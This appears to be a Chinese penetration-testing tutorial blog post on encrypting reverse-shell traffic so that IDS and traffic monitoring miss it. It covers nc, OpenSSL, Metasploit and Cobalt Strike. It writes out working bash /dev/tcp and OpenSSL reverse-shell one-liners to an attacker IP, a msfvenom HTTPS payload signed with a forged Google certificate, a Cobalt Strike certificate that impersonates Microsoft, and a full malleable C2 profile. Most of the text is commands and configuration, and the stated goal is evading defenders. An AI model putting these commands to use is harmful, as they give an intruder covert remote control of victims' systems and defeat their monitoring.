系列文章
简介
渗透测试-地基篇
该篇章目的是重新牢固地基,加强每日训练操作的笔记,在记录地基笔记中会有很多跳跃性思维的操作和方式方法,望大家能共同加油学到东西。
请注意:
本文仅用于技术讨论与研究,对于所有笔记中复现的这些终端或者服务器,都是自行搭建的环境进行渗透的。我将使用Kali Linux作为此次学习的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,本站及作者概不负责。
名言:
你对这行的兴趣,决定你在这行的成就!
一、前言
红队进行渗透测试的后续渗透阶段为了扩大战果,往往需要横行渗透,往往需要反弹 shell,如果反弹 shell 都是明文传输,那么内网里有 IDS 或者防护软件会进行流量进行分析,检测带有攻击特征,很快被发现,如果蓝队对攻击流量回溯分析,就可以复现攻击的过程。
那么蓝队发现红队的行为特征判断后,进行阻断红队行为,红队就无法进行渗透行为了...今天将介绍常用的nc反弹shell、MSF监听反弹shell、Cobalt strike 4.0拿shell,三种方式如何进行流量加密,如何过IDS或者防护软件分析设备和工具的。
此次利用wireshark抓包进行模拟流量分析设备进行演示!!
二、环境介绍
黑客(攻击者):
IP:192.168.175.145
系统:kali.2020.4
VPS服务器:
此次模拟环境将直接越过VPS平台钓鱼拿到对方的shell过程!!
办公区域:
系统:windwos 2019
IP:192.168.2.142
linux系统:kali.2020.4(模拟linux服务器)
IP:192.168.2.141
目前黑客通过kali系统进行攻击行为,发现漏洞后获得了linux和windows 2019两个办公区域系统的权限,使用了nc反弹shell、MSF生成的shell、Cobalt Strike 4.0生成的shell进行反弹...获得了最终的控制权限,但是办公区域存在IDS等流量监测设备,为了防止被监控,将演示三种不同方式拿反弹shell后如何流量加密,不被IDS等流量监测设备发现!!
三、Nc正常拿shell
Nc(瑞士军刀)它也是一个功能强大的网络调试和探测工具,能够建立需要的几乎所有类型的网络连接,支持linux和windows环境,红队喜爱工具之一....
这里演示NC正常拿shell情况下,如何被对方流量监控到的....
1、初步环境
该图可看到攻击者和被攻击者IP情况...
攻击者开启NC监听本地8888端口!
nc -vlp 8888
被攻击者端开启Wireshark进行流量实时监听分析!
2、拿shell监听
使用Wireshark对eth0进行流量抓包分析,被攻击端执行一句话shell命令:
bash -i>& /dev/tcp/192.168.175.145/8888 0>&1
攻击方利用nc,通过反弹shell方式获得了控制权限...
攻击者进行信息收集命令操作,被攻击者Wireshark一直在监听着!!
3、流量分析
这边我们来到被攻击者主机上查看下抓包信息,选择TCP流信息...
可看到未加密的情况下,流量设备是可以查看到攻击者的行为记录的!!!
那么接下来将演示如何进行流量加密!!
四、OpenSSL流量加密
OpenSSL进行加密拿shell,和NC的性质是类似的,都是通过/bin/bash获得shell,接下来将用OpenSSL进行演示流量加密!!
1、OpenSSL证书
在kali上使用OpenSSL生成自签名证书:
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
成功生成后,在桌面有两个pem加密文件key!!
2、成功提权
openssl s_server -quiet -key key.pem -cert cert.pem -port 8888 #开启监听
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 192.168.175.145:8888 > /tmp/s; rm /tmp/s #反弹shell命令
成功通过Key加密获得了控制权限,并执行了相应的控制命令!!行为都被WireShark流量进行监控了!!
3、流量分析
通过TCP流查看到的信息都是乱码,经过了加密!
五、Metasploit流量加密
Metasploit在内网做横行渗透时,这些流量很容易就能被检测出来,所以做好流量加密,就能
避免审计工具检测出来,开始演示!
1、创建 SSL/TLS 证书
openssl req -new -newkey rsa:4096 -days 365 -nodes -x509 \
-subj "/C=UK/ST=London/L=London/O=Development/CN=www.google.com" \
-keyout www.google.com.key \
-out www.google.com.crt && \
cat www.google.com.key www.google.com.crt > www.google.com.pem && \
rm -f www.google.com.key www.google.com.crt
这里模拟的是google的SSL证书信息!!可自行修改可信度高的证书!!
检查google的key生成情况,正常!!
2、生成后门
msfvenom -p windows/meterpreter/reverse_winhttps LHOST=192.168.175.145 LPORT=443 PayloadUUIDTracking=true HandlerSSLCert=www.google.com.pem StagerVerifySSLCert=true PayloadUUIDName=ParanoidStagedPSH -f psh-cmd -o dayu.bat
成功生成后门,可根据情况进行修改IP和端口!!
3、设置监听
set payload windows/meterpreter/reverse_winhttps
set LHOST 192.168.175.145
set LPORT 443
set HandlerSSLCert /root/Desktop/www.google.com.pem
set StagerVerifySSLCert true
exploit
配置侦听器时还需要使用两个附加选项HandlerSSLCert和StagerVerifySSLCert。这是为了通知处理程序它将使用的证书(与有效负载相同),并在接收到连接时执行SSL证书验证。
这里set HandlerSSLCert路径文件需填对!!
被攻击者成功访问到开启的HTTPS-SSL!!
查看伪造的SSL证书!!
4、成功控制
成功控制对方,并执行命令进行后渗透,在被攻击者流量工具分析上查看到流量已经经过了SSL加密,并查看TCP流中信息都是加密后的乱码信息....成功流量加密!!
六、Cobalt Strike 4.0流量加密
cobalt strike是很多红队的首选的攻击神器,在后渗透方面效果显著很好,导致很多IDS入侵检测工具和流量检测工具已经可以拦截和发现,特别是流量方面,如果使用默认证书进行渗透和测试,特别在高度安全的环境下,好不容易找到一个突破口,因为证书没修改,被流量检测出来并进行拦截,检测报告将返回给管理员,管理员就能马上将缺口进行修复。那么红队之前的攻击就会付诸东流,攻击计划就要重新制定。
接下来将演示如何CS进行流量加密!!
1、CS证书生成介绍
在运行cobalt strike默认使用的cobaltstrike.store证书,这里使用新的技术生成新的证书来逃避IDS检测!
2、证书生成
keytool -genkey -alias moonsec -keyalg RSA -validity 36500 -keystore dayu.store
利用keytool生成了一个证书,具体的可进行修改!!
输入密钥库口令:
密钥库口令太短 - 至少必须为 6 个字符
输入密钥库口令:
再次输入新口令:
您的名字与姓氏是什么?
[Unknown]: dayu
您的组织单位名称是什么?
[Unknown]: Microsoft
您的组织名称是什么?
[Unknown]: Microsoft
您所在的城市或区域名称是什么?
[Unknown]: US
您所在的省/市/自治区名称是什么?
[Unknown]: US
该单位的双字母国家/地区代码是什么?
[Unknown]: en
CN=dayu, OU=Microsoft, O=Microsoft, L=US, ST=US, C=en是否正确?
[否]: y
需要输入密码、以及一些基本信息后,成功生成dayu.store证书!!
3、创建C2-profile文件
这是cs内置工具,用于控制cs流量,可以防止安全设备对流量特征进行监控和拦截!!
set sample_name "dayu POS Malware";
set sleeptime "5000"; # use a ~30s delay between callbacks
set jitter "10"; # throw in a 10% jitter
set useragent "Mozilla/5.0 (Windows NT 6.1; rv:24.0) Gecko/20100101 Firefox/24.0";
#设置证书,注意以下内容得和你之前生成的证书一样
https-certificate {
set CN "dayu";
set O "Microsoft";
set C "en";
set L "US";
set OU "Microsoft";
set ST "US";
set validity "365";
}
#设置,修改成你的证书名称和证书密码
code-signer{
set keystore "dayu.store";
set password "dayu123";
set alias "dayu";
}
#指定DNS beacon不用的时候指定到IP地址
set dns_idle "8.8.4.4";
#每个单独DNS请求前强制睡眠时间
set dns_sleep "0";
#通过DNS上载数据时主机名的最大长度[0-255]
set maxdns "235";
http-post {
set uri "/windebug/updcheck.php /aircanada/dark.php /aero2/fly.php /windowsxp/updcheck.php /hello/flash.php";
client {
header "Accept" "text/plain";
header "Accept-Language" "en-us";
header "Accept-Encoding" "text/plain";
header "Content-Type" "application/x-www-form-urltrytryd";
id {
netbios;
parameter "id";
}
output {
base64;
prepend "&op=1&id=vxeykS&ui=Josh @ PC&wv=11&gr=backoff&bv=1.55&data=";
print;
}
}
server {
output {
print;
}
}
}
http-get {
set uri "/updates";
client {
metadata {
netbiosu;
prepend "user=";
header "Cookie";
}
}
server {
header "Content-Type" "text/plain";
output {
base64;
print;
}
}
}
创建dayu.profile文件,主要需要修改的是https-certificate和code-signer两处地方,对应keytool填写的信息即可!!!
利用CS的c2lint来验证dayu.profile是否成功生成和执行!!可看到是成功的!!
4、配置teamserver
teamserver默认端口是50050很容易被检测出来,我们将修改端口防止被检测出来...
vi teamserver进行配置,修改成40567端口!!
nohup ./teamserver 192.168.175.145 11111 dayu.profile &
利用nohup运行teamserver,放在后台运行,避免shell关闭teamserver也关闭!!
5、开启Cobalt Strike
打开CS,端口和刚修改的teamserver配置一致!
进入后创建Linsten监听,选择HTTPS!!
可看到成功建立了HTTPS证书信息!!
6、成功控制
通过Cobalt strike生成的各种shell,在进行免杀!
被攻击者执行免杀shell后,攻击者成功控制系统,执行了相对应的命令后,在Wireshark查看到Tcp流信息是经过加密传输的乱码形态!!成功加密!!
七、总结
通过OpenSSL、keytool等方式进行证书生成,并利用证书等形式进行流量加密,能对如今非常流行的反弹shell、MSF、CS工具进行使用,能更好的在后续渗透阶段扩大战果而不被发现阻断,放大还有很多,只是拿出了几个典型的方法来演示给大家学习!!
希望大家提高安全意识,没有网络安全就没有国家安全!
今天基础牢固就到这里,虽然基础,但是必须牢记于心。
作者:大余